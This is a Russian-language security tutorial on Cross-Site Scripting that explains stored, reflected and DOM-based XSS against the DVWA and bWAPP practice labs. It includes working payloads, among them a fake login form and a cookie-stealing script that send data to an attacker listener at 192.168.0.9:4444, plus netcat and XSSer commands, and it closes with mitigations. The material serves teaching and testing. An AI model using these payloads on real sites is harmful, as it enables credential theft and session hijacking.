Руководство по осуществлению Cross-Site Scripting (XSS)

Дата: 17.08.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В этой статье пойдет речь о межсайтовом скриптинге (XSS). Читатель узнает, как злоумышленник способен выполнять вредоносные JavaScript-коды для входных параметров и генерировать всплывающие окна, чтобы «испортить» веб-приложение или захватить сеанс активного пользователя.

Что такое JavaScript?

Динамическое веб-приложение стоит на трех столпах: HTML, который определяет полную его структуру, CSS, что описывает его внешний вид, и JavaScript, который добавляет мощные функции, такие как оповещения, эффекты ролловера, раскрывающееся меню.

Таким образом, JavaScript является базовым языком программирования в Интернете и считается одним из самых популярных скриптовых языков, поскольку около 93% всех веб-сайтов работают на Javascript. Это происходит благодаря некоторым его функциям, таким как:

  • Доступность
  • Возможность создания интерактивных веб-приложений
  • Уникальность. Это единственный язык программирования, который может быть интерпретирован браузером, т.е. браузер запускает его, а не отображает
  • Гибкость. Он способен быть «перемешан» с HTML-кодами

Обработчики событий JavaScript

Когда код JavaScript встроен в HTML-страницу, то этот JavaScript «реагирует» на конкретные события, такие как:

  • Когда страница загружается, это считается событием.
  • Когда пользователь нажимает кнопку, это тоже событие.
  • Другие примеры: нажатие любой клавиши, закрытие окна, изменение размера окна и т.д. Таким образом, они управляются обработчиками событий.

Onload

Javascript использует функцию onload для загрузки объекта на веб-страницу.

Например, пользователь хочет создать оповещение для людей, которые посещают его сайт; вводится следующий код JavaScript:

<body onload=alert(‘Welcome to Hacking Articles’)>

Поэтому всякий раз, когда тег body загружается, появляется оповещение со следующим текстом: “Добро пожаловать в Hacking Articles”. Здесь загрузка тега body – это событие или событие типа onload. Обработчик событий решает, какое действие должно произойти в результате выполненной команды.

Onmouseover

С помощью обработчика событий Onmouseover, когда пользователь перемещает курсор на определенный текст, выполняется встроенный код Javascript.

Пора разобраться в следующем коде:

<a onmouseover=alert(“50% discount”)>surprise</a>

Теперь, когда пользователь перемещает курсор на сюрприз, появится окно оповещения со скидкой 50%.

Точно так же существует множество других обработчиков событий JavaScript, которые определяют, какое событие должно произойти для определенного типа действий, как прокрутка вниз или неспособности загрузить изображение.

onclickИспользуется для вызова JavaScript при щелчке (ссылка или поля формы)
onloadПрименяется для вызова JavaScript после завершения загрузки страницы или изображения
onmouseoverИспользуется для вызова JavaScript, если пользователь открывает какую-то ссылку
onmouseoutИспользуется для вызова JavaScript, если пользователь переходит по какой-то ссылке
onunloadИспользуется для того, чтобы вызвать JavaScript сразу после того, как пользователь покинет страницу

Знакомство с Cross-Site Scripting (XSS)

Межсайтовый скриптинг или XSS представляет собой атаку с внедрением кода на стороне клиента, при которой вредоносные скрипты внедряются на надежные веб-сайты. XSS осуществляется в тех веб-приложениях, где входные параметры не были должным образом настроены или проверены, что позволяет злоумышленнику отправлять вредоносные коды Javascript другому конечному пользователю. Браузер конечного пользователя не имеет возможности узнать, что скрипту не следует доверять, и, таким образом, выполнит его.

В этой атаке пользователи не компрометируются непосредственно через полезную нагрузку, хотя злоумышленник снимает уязвимость XSS, вставляя вредоносный скрипт на веб-страницу, которая кажется подлинной частью веб-сайта. Таким образом, когда любой пользователь посещает этот веб-сайт, “болеющая” веб-страница XSS доставит вредоносный код JavaScript непосредственно в браузер без его ведома.

Не совсем понятно, что происходит? Настала пора прояснить это на следующем примере.

Берется веб-приложение, которое позволяет пользователям настроить “краткое описание” в своем профиле, которое, таким образом, будет видно всем. Теперь злоумышленник замечает, что поле описания неправильно проверяет входные данные, поэтому он вводит свой вредоносный скрипт в него.

Когда посетитель просматривает профиль злоумышленника, код get автоматически выполняется браузером, он захватывает аутентифицированные файлы cookie, а, с другой стороны, мошенник получает активный сеанс жертвы.

Влияние Cross-Site Scripting

За последнее столетие межсайтовый скриптинг сумел занять свое место в списке OWASP Top10, поскольку это один из самых важных и наиболее широко используемых методов атаки в Интернете.

За счет него злоумышленник способен выполнить следующее:

  • Захватить и получить доступ с проверкой подлинности пользователя и куки сессии
  • Загрузить фишинговую страницу, чтобы заманить пользователей и завладеть их данными
  • Перенаправить посетителей на другие вредоносные ресурсы
  • Раскрыть конфиденциальные данные пользователей
  • Манипулировать структурой веб-приложения

Тем не менее, XSS был зарегистрирован с оценкой CVSS 6.1 и средней степенью опасности.

  • CWE-79: неверная нейтрализация входных данных во время генерации веб-страниц (“Межсайтовый скриптинг”)
  • CWE-80: неверная нейтрализация HTML-тегов, связанных со сриптами, на веб-странице (Basic XSS)

Типы XSS

До сих пор у пользователя, возможно, было четкое понимание концепции JavaScript и XSS и их основных последствий. Итак, стоит продолжить идти по той же дороге и разбить XSS на три основных типа:

  • Stored XSS
  • Reflected XSS
  • DOM-based XSS

Stored XSS

Stored XSS еще называется персистентным XSS или I типом, так как с помощью этой уязвимости внедренный вредоносный скрипт постоянно хранится внутри сервера базы данных веб-приложения, а сервер далее сбрасывает его обратно, когда пользователь посещает соответствующий веб-сайт.

Это происходит, когда клиент нажимает или наводит курсор на определенный зараженный раздел. Введенный JavaScript будет выполняться браузером так же, как он записан в базе данных приложения, поэтому эта атака не требует какой-либо фишинговой техники для осуществления в отношении пользователей.

Наиболее распространенным примером Stored XSS является «опция комментариев» в блогах, которая позволяет любому пользователю оставлять свои отзывы как в виде послания для администратора, так и для других пользователей.

Настало время рассмотреть подобный пример:

Веб-приложение просит пользователя оставить свой отзыв, так как на его веб-странице есть два поля ввода: одно – для имени, а другое – для комментария.

Теперь, когда пользователь нажмет кнопку “Отправить”, его запись сохранится в базе данных. Чтобы сделать этот пример более понятным, человек вывел таблицу базы данных на экране следующим образом:

В данном случае разработчик доверяет своим пользователям и не размещает никаких валидаций на полях. Таким образом, эта лазейка была обнаружена злоумышленником, и поэтому он воспользовался ею, так как вместо того, чтобы отправить отзыв, он прокомментировал свой вредоносный скрипт.

<script>alert("Hey!! This website belongs to Hacking Articles")</script>

На приведенном ниже скриншоте видно, что злоумышленник осуществил желаемое, так как веб-приложение вывело на экран всплывающее предупреждение.

Теперь, вернувшись в базу данных, человек может увидеть, что таблица была обновлена с именем “Ignite”, а поле Feedback – пусто, это проясняет тот факт, что скрипт злоумышленника был успешно введен.

Поэтому стоит переключиться на другой браузер в качестве иного пользователя и снова попытаться отправить подлинный фидбэк.

Теперь, когда пользователь нажмет кнопку «Отправить», браузер выполнит введенный скрипт и отобразит его на экране.

Reflected XSS

Reflected XSS, еще называемый неперсистентным XSS или типом II, появляется, когда веб-приложение немедленно реагирует на ввод пользователя без проверки того, что ввел пользователь. Это может привести к тому, что злоумышленник введет исполняемый код браузера в один HTML-ответ. Он называется «неперсистентным», так как вредоносный скрипт не хранится в базе данных веб-сервера, поэтому злоумышленнику необходимо отправить вредоносную ссылку с помощью фишинга, чтобы поймать пользователя в ловушку.

Reflected XSS является распространенной практикой, поэтому может быть легко найден в “полях поиска веб-сайта”, где злоумышленник включает некоторые произвольные коды Javascript в текстовое поле поиска, и, если сайт уязвим, веб-страница возвращает событие, как было описано в скрипте.

Reflect XSS бывает двух типов:

  • Reflected XSS GET
  • Reflected XSS POST

Чтобы лучше понять концепцию Reflected XSS, настало время рассмотреть следующий сценарий.

Здесь была создана веб-страница, которая, таким образом, позволяет пользователю искать конкретный учебный курс. Когда человек ищет “Bug Bounty”, на экране появляется сообщение: “Вы искали Bug Bounty.”

Таким образом, этот мгновенный ответ и параметр “поиск” в URL-адресе показывают, что страница может быть уязвима для XSS, и данные были запрошены с помощью метода GET.

Итак, стоит теперь попробовать сгенерировать всплывающие окна, введя Javascript-коды в этот параметр следующим образом:

get.php?search=<script>alert("Welcome to hacking Articles!!")</script>

Отлично!! На приведенном ниже скриншоте можно увидеть, что пользователь получил приветственное сообщение.

Интересно, почему все так произошло? Необходимо проверить следующий фрагмент кода.

С легкостью выводя сообщение на экран, разработчик не устанавливал никакой проверки ввода в функции ignite, а просто оставил echo для «Search Message» с помощью ignite($search) и переменной «$_GET».

DOM-Based XSS

Межсайтовые скрипты на основе DOM – это уязвимость, которая появляется в объектной модели документа, а не на HTML-страницах.

Но что такое эта объектная модель документа?

DOM или объектная модель документа описывает различные сегменты веб-страницы, такие как заголовок, таблицы, формы и даже иерархическую структуру HTML-страницы. Таким образом, этот API повышает квалификацию разработчиков по созданию и изменению HTML и XML-документов в качестве объектов программирования.

Когда HTML-документ загружается в веб-браузере, он становится “объектом документа”.

Однако этот объект документа является корневым узлом HTML-документов и владеет всеми остальными узлами.

С помощью объектной модели JavaScript получает все необходимое для создания динамического HTML:

  • JavaScript может изменять все HTML-элементы на странице
  • JavaScript способен изменять все атрибуты HTML
  • JavaScript может изменять стили CSS на странице
  • JavaScript способен удалять существующие HTML-элементы и атрибуты
  • JavaScript может добавлять новые HTML-элементы и атрибуты
  • JavaScript способен реагировать на все существующие HTML-события на странице
  • JavaScript может создавать новые HTML-события

Поэтому манипуляция DOM сама по себе не является проблемой, но когда JavaScript обрабатывает данные небезопасно в DOM, таким образом, он позволяет проводить различные атаки.

Уязвимости XSS на основе DOM обычно появляются, когда JavaScript берет данные из контролируемого злоумышленником источника, такого как URL, и передает их приемнику (опасная функция JavaScript), который поддерживает динамическое выполнение кода.

Этим он сильно отличается от Reflected и Stored XSS, потому что в данной атаке разработчик не может найти вредоносный скрипт в исходном коде HTML, а также в ответе HTML, его можно наблюдать только во время выполнения.

XSS на основе DOM использует эти уязвимости на локальных компьютерах пользователя следующим образом:

  • Злоумышленник создает вредоносный веб-сайт
  • Пользователь открывает его
  • У него есть уязвимая страница на компьютере
  • Сайт злоумышленника отправляет команды на уязвимую HTML-страницу
  • Уязвимая локальная страница выполняет эти команды с правами пользователя на этой машине
  • Злоумышленник получает контроль над компьютером жертвы

Стоит также проверить исполнение XSS на основе DOM на практике.

Следующее приложение уязвимо для атаки XSS на основе DOM. Веб-приложение позволяет своим пользователям выбирать язык со следующими опциями и выполняет ввод данных через определенный URL-адрес.

http://localhost/DVWA/vulnerabilities/xss_d/?default=English

На приведенном выше скриншоте можно увидеть, что у пользователя нет какого-либо конкретного раздела, где он мог бы запустить вредоносный код. Поэтому, чтобы испортить это веб-приложение, человек теперь будет манипулировать “URL”, поскольку это самый распространенный источник для проведения DOM XSS.

http://localhost/DVWA/vulnerabilities/xss_d/?default=English#<script>alert("This is DOM XSS");</script>

После манипуляций с URL-адресом человек нажмет на кнопку Enter. Теперь он снова выберет язык, и, когда будет активирована кнопка выбора, браузер выполнит код в URL-адресе и выдаст предупреждение DOM XSS.

Основное различие между XSS на основе DOM и Reflected и Stored XSS заключается в том, что он не может быть остановлен фильтрами на стороне сервера, потому что все, что написано после “#” (хэш), никогда не будет переадресовано на него.

Использование Cross-Site Scripting

Пользователь может задаться вопросом: “Хорошо, мы получили всплывающее окно, но что теперь? Что мы можем сделать с ним? Я нажму на кнопку ОК, и это всплывающее окно исчезнет”.

Но это всплывающее окно говорит о тысяче возможных способов. Нужно вернуться к тому месту, где пользователь увидел первое всплывающее окно.

Получение учетных данных

Пользователь теперь знает том, что всякий раз, когда он отправляет свой отзыв, фидбэк будет храниться непосредственно в базе данных сервера. И если злоумышленник манипулирует обратной связью с помощью “предупреждающего сообщения”, то даже само предупреждение будет сохранено в нем, ведь оно всплывает каждый раз, когда какой-то другой пользователь посещает веб-страницу приложения.

Но что делать, если вместо всплывающего окна пользователя приветствует страница входа в систему?

Необходимо попробовать решить эту проблему, введя вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на веб-странице, что, таким образом, переадресует захваченный запрос на IP-адрес злоумышленника.

Итак, стоит запустить следующий скрипт в поле обратной связи в веб-приложении:

<div style="position: absolute; left: 0px; top: 0px; background-color:#fddacd;width: 1900px; height: 1300px;"><h2>Please login to continue!!</h2>
<br><form name="login" action="http://192.168.0.9:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="password" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>

Теперь этот вредоносный код был сохранен в базе данных веб-приложения.

В каком-нибудь другом браузере пользователь пытается отправить свой отзыв.

Как только он нажал кнопку отправки, браузер запустил скрипт, и пользователь получил приветствие с формой входа в систему: «Пожалуйста, войдите, чтобы продолжить».

Мошенник запускает свой листенер:

nc –lvp 4444

Теперь, когда пользователь вводит свои учетные данные, скрипты загрузятся снова, и введенные учетные данные отправятся к листенеру злоумышленника.

Отлично!! На приведенном ниже скриншоте можно увидеть, что учетные данные жертвы были успешно захвачены.

Захват Cookie

Бывают случаи, когда злоумышленнику нужны аутентифицированные файлы cookie вошедшего в систему пользователя либо для доступа к его учетной записи, либо для какой-то другой вредоносной цели.

Итак, стоит рассмотреть, как эта уязвимость XSS позволяет злоумышленникам захватывать сеансовые файлы cookie и как они злоупотребляют ими, чтобы добраться до учетной записи пользователя.

Человек запустил уязвимое веб-приложение “DVWA” в своем браузере и вошел с помощью admin: password. Далее, на левой панели он выбрал уязвимость как XSS (Stored), но, на этот раз, поставил низкие параметры безопасности.

Настала пора ввести вредоносную полезную нагрузку в раздел “Сообщение”, но перед этим нужно увеличить длину текстовой области, так как ее недостаточно для ввода самой полезной нагрузки. Поэтому стоит открыть вкладку Inspect element, нажав “Ctrl + I”, чтобы просмотреть заданную длину сообщения для текстовой области, а затем дополнительно изменить поле Message maxlength с 50 на 150.

На следующем скриншоте можно увидеть, что пользователь ввел скрипт, который, таким образом, захватит файл cookie и отправит его листенеру, когда любой пользователь посетит эту страницу.

<script>new Image().src="http://192.168.0.9:4444?output="+document.cookie;</script>

Теперь следует настроить листенер Netcat:

nc –lvp 4444

Пользователю нужно выйти из системы и снова войти как новый юзер. Если он посещает страницу XSS (Stored), его сеансовые файлы cookie будут переданы листенеру мошенника.

Отлично!! На приведенном ниже скриншоте можно увидеть, что пользователь успешно захватил аутентифицированные файлы cookie.

Но что же с ними делать?

Стоит войти в аккаунт. Пользователь снова открыл DVWA, но, на этот раз, он не будет входить в систему, он задействует захваченные файлы cookie. Был использовал плагин редактора файлов cookie для того, чтобы управлять сеансом.

На приведенном ниже скриншоте можно увидеть, что пользователь изменил PHPSESID на тот, который был захвачен, и манипулировал безопасностью от невозможного до низкого уровня, уменьшив его с 1 до 0. После он сохранил эти изменения. Человек может даже манипулировать URL-адресом, удалив login.php.

Отлично!! Теперь пользователь просто перезагрузит страницу, на скриншоте можно увидеть, что он находится в приложении.

Использование атаки вместе с Burpsuite

Stored XSS трудно найти, но, с другой стороны, Reflected XSS очень распространен и поэтому может быть использован с помощью нескольких простых щелчков мыши.

Но до сих пор пользователь применял только веб-приложения, которые не были проверены разработчиками, так что же насчет тех, которые защищены?

Веб-приложения с полями ввода где-то уязвимы для XSS, но пользователю стоит подумать, были ли они защищены определенными проверками. Поэтому для того, чтобы использовать такие защищенные приложения, нужны некоторые инструменты, здесь можно рассчитывать на BurpSuite.

Пользователь открыл целевой IP в своем браузере и вошел в систему BWAPP как bee: bug, далее он установил опцию “Choose Your Bug” на “XSS-Reflected (Post)” и запустил кнопку hack. Для этого раздела был установлен средний уровень безопасности.

На приведенном ниже скриншоте можно увидеть, что когда пользователь попытался выполнить полезную нагрузку как предупреждение <script>(“hello”)</script>, он не получил желаемого результата.

Итак, стоит захватить текущий HTTP-запрос в BurpSuite и далее поделиться захваченным запросом с Intruder.

Перейдя в intruder, пользователь откроет вкладку Position. Он настроит ее для параметра input-value как “firstname” с помощью кнопки Add$.

Пора запустить файл полезных нагрузок. Пользователь нажмет на кнопку Загрузить, чтобы добавить словарь. Он даже может выбрать словарь XSS burpsuite с помощью простого щелчка по кнопке “Добавить из списка” и выбора Fuzzing-XSS.

Как только настройка будет завершена, пользователь нажмет на кнопку “Начать атаку”.

На приведенном ниже изображении можно увидеть, что атака была начата, и есть колебания в секции длины. Чтобы получить результат в порядке убывания длины, пользователь дважды щелкнул на длину поля.

Пользователь почти закончил. Нужно дважды щелкнуть по любой полезной нагрузке, чтобы проверить, что она в себя заключает.

Теперь стоит подождать!! Пользователь не может видеть результат XSS на вкладке response, так как браузер способен визуализировать только этот вредоносный код, поэтому для проверки ответа надо просто нажать правой кнопкой мыши и выбрать опцию «Показать ответ в браузере».

Пользователь скорирует предложенный URL-адрес и вставит его в браузер. Отлично!! На приведенном ниже изображения можно увидеть, что пользователь успешно обошел защиту приложения, когда получил предупреждение.

XSSer

Межсайтовый “скриптер” или “XSSer” – это платформа, которая обнаруживает уязвимости XSS в веб-приложениях и даже предоставляет несколько вариантов их использования.

XSSer имеет более 1300 предустановленных векторов XSS fuzzing, которые, таким образом, позволяют злоумышленнику обойти определенно отфильтрованные веб-приложения и межсетевые экраны WAF (Web Application Firewalls).

Итак, стоит понять, как этот fuzzer может помочь в использовании веб-приложения bWAPP. Но для того, чтобы двигаться дальше, нужно клонировать XSSer в машину Кали пользователя. Это можно сделать с помощью:

git clone https://github.com/epsylon/xsser.git

Теперь стоит загрузиться обратно в свой bWAPP, установить опцию “Choose your Bug” на “XSS –Reflected (Get)” и нажать на кнопку hack. На этот раз будет установлен средний уровень безопасности.

XSSer предлагает две платформы: графический интерфейс и командную строку. В этой статье пользователь сосредоточился на методе командной строки.

Поскольку уязвимость XSS зависит от входных параметров, XSSer работает на “URL”; и для получения точного результата тоже нужны файлы cookie. Чтобы захватить их, пользователь установил первое имя как “test”, а последнее – как “test1”.

Теперь пользователь захватит запрос браузера в его burpsuite, просто включив прокси-сервер и параметры перехвата, далее, когда он нажмет на кнопку Go, будет получен результат в виде:

Пользователю необходимо запустить его терминал Kali с помощью XSSer и выполнить следующую команду с флагами –url и –cookie. Здесь он даже использовал флаг -auto, который проверит URL-адрес со всеми предварительно загруженными векторами. В прикладном URL-адресе ему нужно манипулировать значением входного параметра до “XSS“, как в данном случае он изменил «test» на «XSS».

python3 xsser --url "http://192.168.0.9/bWAPP/xss_get.php?firstname=XSS&lastname=test1&form=submit" --cookie "PHPSESSID=q6t1k21lah0ois25m0b4egps85; security_level=1" --auto

На приведенном ниже скриншоте можно увидеть, что этот URL-адрес уязвим с 1287 векторами.

Лучшее в этом fuzzer то, что он предоставляет URL-адрес браузера.

Примечание: Нет необходимости с каждой полезной нагрузкой получать всплывающее предупреждение, так как каждая другая полезная нагрузка определяется каким-то конкретным событием, будь то настройка iframe, захват некоторых файлов cookie или перенаправление на какой-то другой веб-сайт.

Таким образом, на приведенном ниже скриншоте видно, что пользователь успешно испортил это веб-приложение.

Митигирование

  • Разработчики должны внедрить белый список допустимых входных данных, и если это невозможно, то нужно организовать проверки входных данных. Более того, данные, введенные пользователем, должны быть отфильтрованы
  • Output encoding является наиболее надежным решением для борьбы с XSS, поскольку оно принимает код скрипта и преобразует его в обычный текст
  • Межсетевой экран WAF должен активирован, поскольку он защищает приложение от XSS-атак
  • Использование флагов HTTPOnly на файлах cookie
  • Разработчики могут применить политику безопасности контента (CSP) для снижения возможности появления любых уязвимостей XSS

Автор переведенной статьи: Chiragh Arora.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

пять × четыре =